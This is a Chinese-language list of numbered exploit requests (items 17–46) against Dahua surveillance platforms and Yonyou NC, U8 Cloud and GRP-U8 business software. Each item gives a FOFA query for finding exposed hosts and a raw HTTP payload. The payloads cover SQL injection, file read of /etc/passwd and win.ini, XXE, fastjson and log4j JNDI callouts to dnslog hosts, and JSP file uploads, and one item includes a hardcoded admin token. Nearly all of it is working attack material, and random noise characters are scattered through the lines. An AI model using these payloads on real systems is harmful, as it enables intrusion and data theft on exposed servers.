  ~3 y% \3 E, b$ a4 j4 yUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
$ o7 @" d4 `5 b, d: [Connection: close
0 g  t: C3 \6 @9 OAccept: */*
Accept-Language: en
Accept-Encoding: gzip

- Z' w6 @0 b& t- Q
17. 大华 DSS itcBulletin SQL 注入
- s9 H8 [/ F! l* y$ d4 j* y1 F$ fFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
" l" w' M! O% A2 l, dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 M2 P9 Y0 p4 D' i1 oConnection: close
" n0 ^% D! ?5 C) `) I* ?3 XContent-Length: 345
Accept-Encoding: gzip

; J, C/ G" v, V) {) @( o<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
8 \, n9 M6 t; R6 {+ k<s11:Body>
; c4 ~4 O3 q1 D( u! ]    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
# O( z: M' C& _# j- N3 g       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
+ r9 Q1 ], k! Z# e% D/ m& h* o    </ns1:deleteBulletin>
$ ~& L4 q7 W$ M. `  </s11:Body>
</s11:Envelope>


" L5 C: E* I! U3 h/ c18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
5 @9 P9 n+ G" Y+ Y. o: ?+ J, y- b2 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
$ d% h" H( l1 L* h) H! V6 gAccept: */*
" H! k& T! ^4 W# ]2 V+ mConnection: keep-alive
' E/ m3 C! M% N0 F8 n0 a
6 n' p: u( @+ ^1 J) Z; n8 g
: s; i, H% j! \% b( W6 p
7 K. G* M1 Z3 l8 v7 ^1 p* G19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
1 m! Q# [" F# y2 h' m7 G- t# BFOFA：app="dahua-DSS"
- S% O4 q! y9 @1 X3 UGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
  e  M7 {0 i3 r* Q" zUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
" [; }( Y. S8 [7 i+ ]1 {Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

1 \! K% }/ @9 I
+ a. H/ ^7 G/ b/ H5 T20. 大华ICC智能物联综合管理平台任意文件读取
7 Q# b& I* c0 xFOFA：body="*客户端会小于800*"
; h8 S% [% P. v2 }) NGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
, e. F3 I. C# Q- y" YHost: x.x.x.x
' p# a" a9 x- ?4 w/ hUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
; R5 ^+ j0 z* J; X$ bAccept: */*
Accept-Language: en
8 u6 W  i. L5 K) i' d8 A  JAccept-Encoding: gzip
6 {1 Z  H. v5 P9 V: x

21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
' q5 E; |% N! YPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
4 n) b, I8 J7 n/ DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
. o% a; C! v- I" r2 pAccept-Encoding: gzip
Connection: close
2 H- c6 @/ C, R  H( eContent-Type: application/json;charset=utf-8

' n. l6 t( K. i& m# A1 s5 p{
/ N" o; v" d: ~7 S4 P8 A"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
! E2 q+ X' _5 C, M* t* L5 \7 g    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
1 A/ u% @7 m0 z/ Q( V! \  }""
9 y+ n6 Y$ w4 w( i9 u}
+ u( ]; [3 j$ V0 d. }
% i  j- `! Y& c
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
5 T; O; L- U+ TFOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
& J. L: b& g& A3 iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
$ ?5 m; Y0 E) \% l
* X+ ~; S8 ~' a: Q2 k( K6 U  G: G: J$ ^{
( ^: Y- `0 c6 ?4 z3 \: e"loginName":"${jndi:ldap://dnslog}"
7 k# r/ u* Z3 ]  L}

! Z/ n$ z3 p; r

& Y8 A" _  |/ i( y23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
* f" r( i2 d! Z9 K# @2 mHost: your-ip
) r- b1 j( r) EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close

+ p( c" q; ]; |2 {, u" ~{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
& ~7 x0 F- J0 V        }""
}

6 a0 _; w/ C, q! {# T# Z* a$ r
24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
/ f0 L2 Q) V' ]POST /aim/equipmap/accept.jsp HTTP/1.1
% G& m: J& f8 q1 i7 y, N2 XHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
0 ^" m: s3 [8 wConnection: close
Content-Length: 449
7 E' p+ [+ z9 P" J" T- @6 nAccept: */*
5 V. k' ~( V  t3 W, T( @7 U, H, EAccept-Encoding: gzip
! Z( I% T7 D$ J+ k, ?9 e- fContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
. Y2 U: S! O  f, v7 N$ t$ m& h; gContent-Type: text/plain

- Y4 F5 v' G) j3 j9 t, c, Q<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
, S$ M. c' B- z, L2 M-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
, \! J) |' h; u% T/ @Content-Disposition: form-data; name="fname"
3 H0 k% A3 o1 x5 I- C
9 m7 b* Q& q% U+ L6 y; L\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
0 T$ k& E# [2 u1 u/ s' w-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

9 e& T* u3 f0 l
, a) M# q% P% _! y7 S3 A25. 用友NC registerServlet JNDI 远程代码执行
+ Z! O  l. U% o) _8 j5 cFOFA：app="用友-UFIDA-NC"
1 y- ~9 p$ H0 v* ePOST /portal/registerServlet HTTP/1.1
Host: your-ip
/ b+ ^/ R/ H: `# C$ ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
" e) Y5 H/ {  r* p) H( F& O4 DAccept-Encoding: gzip, deflate
% t: z7 H) ~5 U: @; l# y8 rAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

5 ?8 }! }+ T9 a. k1 ltype=1&dsname=ldap://dnslog


$ U' N- {2 d; S/ ~8 ~
26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
6 H7 o/ H/ ~2 Z. x& pGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
! A* p* {# X/ L, p( x+ e. ]( qHost: your-ip
* B0 R+ n) A; n+ q( C% ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- `& J8 K3 f8 }! AContent-Type: application/x-www-form-urlencoded
$ j/ g# A6 l3 f' xAccept-Encoding: gzip, deflate
+ r% A" T( l5 Z2 Q: V$ f9 i5 fAccept: */*
& E6 Q" Y3 g$ RConnection: keep-alive
! G9 W7 o3 h4 R

/ @& T% n2 ]1 J9 D+ e3 X27. 用友 NC showcontent SQL注入
; |4 w7 s( u3 w% _FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
4 [) T+ s! n% lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
' I* N0 _/ W0 t" Q- v- QContent-Type: text/xml; charset=utf-8
8 N7 O! ]3 M8 K. b- L$ m7 x  u

28. 用友NC grouptemplet 任意文件上传
, r5 V7 M6 V8 r/ @FOFA：icon_hash="1085941792"
4 O* x4 t) m7 N6 Y- LPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
9 w4 Y7 H% U. B3 AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
8 {. j) f* |% h2 M, LContent-Length: 268
7 ?! ^  e! A9 C6 ]- M) gContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
% I: H) x& U/ b/ s% `& fContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
% {: b3 v7 w1 u3 Q& I, {5 g  P- GContent-Type: application/octet-stream
' l+ h0 y. p* W: i1 B1 `1 z0 B; @
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
8 _4 U2 j' W' R------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


* m0 Q; A0 r7 w5 Q: J/ E/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
5 f/ u0 x0 ]& @/ C( mFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
6 i0 F8 o1 {) u+ k  sAccept-Encoding: gzip, deflate
Accept: */*
$ x7 w" W$ o( r+ u. lConnection: keep-alive
6 q4 ~) H  d) F8 [- E
) J. t5 y# x, n, U5 M3 \+ Q
) x9 D, A) f1 L$ O0 _30. 用友NC importPml SQL注入
9 x, J% b2 K8 [FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
# n! T2 K1 _) n! x4 ?/ s5 SPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
) v! f# Y& _- W) R+ P7 l$ VHost: your-ip
  O9 e. N% I, j& b- fContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
7 G; R4 }, @' ]. A/ z2 N# z3 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
/ B4 Y3 ]2 J: KConnection: close
! i) \9 c+ F% A+ w
5 H( q; D8 d  c( N------WebKitFormBoundaryH970hbttBhoCyj9V
4 @) E* w5 @6 {: uContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
: U6 `! e( C6 `6 m: l/ m# a0 OContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
% N# D4 Z% G: I0 o
% N9 S9 {0 B" S- d0 q
31. 用友NC runStateServlet SQL注入
version<=6.5
* s, o" Y7 G5 M7 m$ YFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
7 J4 h' w  f% }. @3 m/ R: ~2 IGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
: V( t; G, e. t8 l; ]5 {' EHost: host
4 i, x0 |' H) G3 C9 J( o. S( OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
; T- K7 ]. r; q8 f4 u3 DContent-Type: application/x-www-form-urlencoded


32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
. |7 f% x4 ]- G0 Y/ F$ u6 N; KFOFA：app="用友-UFIDA-NC"
) ]* S( ~) i$ K3 e! dGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
6 w/ n3 O, W- i# O# z* A3 YHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
, ~* g( H  W" UConnection: keep-alive


33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
& h3 S9 B! P$ k& ~, Q& {- J3 a& E- SGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
) d2 [2 O1 n9 ~: vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
/ W# G, |* l7 P  S- I3 ?8 Q/ Q; x% jAccept-Encoding: gzip, deflate
2 p  S! p& n! @Accept: */*
5 m9 n) [4 O: c: n6 ?- |1 MConnection: keep-alive

$ |, l! A8 }9 [1 J2 P
9 W& E% ^3 v3 h! g( @5 ~34. 用友NC warningDetailInfo接口SQL注入
7 g- c0 A  \% X: CFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
" F8 L! G. P! d' A; UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! A3 n" {- i+ K" h- [- @8 oContent-Type: application/x-www-form-urlencoded
/ P& N% u# ?( IAccept-Encoding: gzip, deflate
Accept: */*
! _4 D. ~$ |& Z, j  ^Connection: keep-alive
- V1 ~- e% }, D/ W2 V
& Z" |  X% \- k  S, h! Q1 ?6 Q3 f
35. 用友NC-Cloud importhttpscer任意文件上传
6 C- ?9 Q( W; c: y6 j4 n* M. HFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
- N" g0 H1 c  ~; t+ g; rUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
; L* G: F8 Q$ L$ qAccept-Encoding: gzip, deflate
8 ]$ K/ o/ v) C7 hAccept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
+ q, A6 F" i& h) d
--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
) t. F- n! Z% b; W4 k1 V
' B. w0 V5 E1 l7 x! h$ Z' k( r( [<%out.println(1111*1111);%>
7 F- C. h  }' K--fd28cb44e829ed1c197ec3bc71748df0--
( ?, l% O" q! r+ q; R
9 s/ J8 F; T8 [* ?/ ?
5 a3 {0 V. r2 R( n1 ?36. 用友NC-Cloud soapFormat XXE
4 H4 |. y. H8 h/ LFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
) B' O* B: o* X3 T( D" sHost: 192.168.40.130:8989
! c- P$ G* u$ K1 {# L6 PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
0 `- C  ^2 m- C  o; S+ ~& ]# qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 J  W. U8 o5 S" K! M, mConnection: close
" d7 z, P5 d: R* T( R6 E: G% mContent-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
7 }: @# E$ [, Q" K' m, {
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
; \& u3 [4 O2 \' ]0 _

37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
' P( G3 s' H& cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
' r. s  ]$ W" r  DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
, h6 p9 F) `  r1 h8 s3 D# P: iAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
* w+ W* e9 \( z/ F1 xSOAPAction: urn:getResult
( X9 v; J) g/ U: K( _8 DUpgrade-Insecure-Requests: 1
' @% o$ @0 G( I
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
0 f+ b: u6 ]4 r. F+ M- P. w7 p<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
* }/ [5 D. i3 \1 K</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>
0 e2 T8 K' f( n8 h4 F9 H3 z
3 r- D1 r/ w, s9 L( k
; I* a  R& E* C2 N* ?% G2 |+ m+ `
  ]- @- k) G" v2 @  G+ B38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
4 w/ d  g- Q/ O9 e6 Y/ @: U6 uPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
+ j6 w; n' |$ x2 R3 x, IHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
0 J) |/ R# r$ {  Z" @: J' VAccept-Encoding: gzip, deflate
0 |3 r: p, j! a9 X$ G6 rAccept-Language: zh-CN,zh;q=0.9
Connection: close
" s4 S0 d3 ~! K9 mContent-Type: application/x-www-form-urlencoded
8 @/ ~* z! t& q* ?) D, [$ k
2 O8 \9 V1 q) D  p5 Y5 {% O__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
; t6 w$ l* t3 G0 `/ YPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
) q9 Z- N$ q: B# R5 {3 yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
; }# ], p4 S- CConnection: close
Content-Length: 85
Accept: */*
, C$ ~. l$ P; Q" \5 AAccept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
/ W6 [! w5 K9 B+ uAccept-Encoding: gzip
4 ]) {' Q. X% o, g. h
( i* Q7 {$ G1 [. Xusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
" N) w0 I& u9 b( N4 `* M' L
0 s2 [: M5 ]6 O: o/ J) T
40. 用友U8-Cloud XChangeServlet XXE
/ Y+ R# s2 Q! }0 H* ]: V$ eFOFA：app="用友-U8-Cloud"
" c& s* L& C0 v/ f  `2 w7 }POST /service/XChangeServlet HTTP/1.1
3 ~' }: X# a7 XHost: x.x.x.x
$ C/ p& _# O4 a; R% K" z! JUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 Q  n: Z! H  c% z: \Content-Type: text/xml
Connection: close
0 b6 y9 i1 S! B0 l  {( k% \
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
) x( Z( p3 ^: Y& k0 W

4 K7 Q8 S& Y. G3 K- h) a1 O& z41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
9 w4 b4 @) g; n! |8 h4 v4 oGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
/ i  A4 H& k& W$ NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& K; u1 V: N! ~$ n7 KContent-Type: application/json
Accept-Encoding: gzip
5 M7 P  @$ D, Y6 V( D( p% pConnection: close
6 a. D6 e2 g0 F* X+ {$ Q
/ k" Q; c4 C3 q) K: e7 V9 c8 _
42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
5 {& R3 _9 V+ S( N# lPOST /u8qx/SmartUpload01.jsp HTTP/1.1
! A7 G! b# ?$ y9 w; ]6 K/ r6 ]Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
7 S/ q3 L( F- V, O$ L" U  uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD
, q( r7 w$ ]7 y+ \' b/ e: S
. d, `9 [3 Z  X- p+ q
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
0 p$ D8 d1 x1 [) O
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
+ m4 g" U5 h# G8 y2 hPOST /services/userInfoWeb HTTP/1.1
2 Y. u" u4 Z. j' |/ pHost: your-ip
. F1 [* f  C2 \# x, t' m; V; l* |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
5 K; [  A% H6 P! K; KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* _5 z  h0 q, BConnection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8

8 F% Z2 e. A5 X% ^, I7 u+ b<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
( _) H. {0 t& D& h7 \' m   <soapenv:Header/>
   <soapenv:Body>
+ q: g. t, y) {. a      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
% I6 i4 n8 R" }5 @      </ser:getUserNameById>
   </soapenv:Body>
2 G) A/ r+ V  f) U</soapenv:Envelope>
1 g( H/ y. F+ L6 O- \; L: R! S& I8 p

8 h2 z- D2 p4 I' }3 g8 s8 Y44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
& T$ U( s$ ]  ~GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
& w& }+ S$ @4 tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
: X% `% J0 m% p8 S; o2 R/ T6 Z# `; @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
1 b$ L& _/ ^9 }' v, ?! P+ TAccept-Language: zh-CN,zh;q=0.9
' j) D, e3 _; p, q7 IConnection: close
0 U; E4 {* r/ f
3 B% n% B- m) m* `9 f$ G$ ^2 T
45. 用友GRP-U8 ufgovbank XXE
( J, d( @& l5 t9 ]  R4 n' b, _FOFA：app="用友-GRP-U8"
/ u2 Q) H$ X8 \% e$ X( ePOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
! h7 m7 S. J4 mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, l2 z$ Q& Z, kContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
; I. V3 U1 v  U6 w2 B% _; f/ c1 W
0 [' |# A+ s2 ~' v% p/ j; T" lreqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


46. 用友GRP-U8 sqcxIndex.jsp SQL注入
" y$ F, K* E3 R' Z3 b# }FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
1 N  e2 s8 n& z7 K4 zHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 x0 U8 T+ F# U' YAccept-Encoding: gzip, deflate
3 k: O, H5 d, x" V' D! S6 f; mAccept-Language: zh-CN,zh;q=0.9
, G& k* ~- R3 Q) }" U3 C$ T" AConnection: close
" I- O9 `# Y. O% n/ c0 Q, C
